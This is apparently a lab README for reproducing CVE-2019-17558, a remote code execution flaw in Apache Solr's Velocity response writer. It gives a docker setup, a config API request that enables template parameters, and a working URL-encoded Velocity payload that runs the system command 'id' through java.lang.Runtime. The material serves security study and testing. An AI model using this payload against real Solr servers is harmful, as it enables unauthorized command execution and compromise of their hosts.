Aaron
63285f61aa
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65 lines
2.7 KiB
Markdown
65 lines
2.7 KiB
Markdown
# Apache Solr Remote Code Execution Via Velocity Template (CVE-2019-17558)
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[中文版本(Chinese version)](README.zh-cn.md)
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Solr is the popular, blazing-fast, open source enterprise search platform built on Apache Lucene(TM).
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Apache Solr 5.0.0 to Apache Solr 8.3.1 are vulnerable to a Remote Code Execution through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/` directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled` by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user).
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References:
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- <https://nvd.nist.gov/vuln/detail/CVE-2019-17558>
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- <https://issues.apache.org/jira/browse/SOLR-13971>
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- <https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133>
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- <https://github.com/jas502n/solr_rce>
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## Environment Setup
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Execute the following command to start an Apache Solr 8.2.0 server:
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```
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docker compose up -d
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```
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After the server starts, you can access the Apache Solr management interface at `http://your-ip:8983/`. No authentication is required.
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## Vulnerability Reproduction
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First, get all core names through the following API:
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```
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http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
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```
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The `demo` is the only core in this environment:
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Enable the `params.resource.loader.enabled` configuration through the following API (the endpoint is `/solr/[core name]/config`):
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```
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POST /solr/demo/config HTTP/1.1
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Host: solr:8983
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Content-Type: application/json
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Content-Length: 259
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{
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"update-queryresponsewriter": {
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"startup": "lazy",
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"name": "velocity",
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"class": "solr.VelocityResponseWriter",
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"template.base.dir": "",
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"solr.resource.loader.enabled": "true",
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"params.resource.loader.enabled": "true"
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}
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}
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```
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Then, trigger the vulnerability by sending a malicious Velocity template:
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```
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http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
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```
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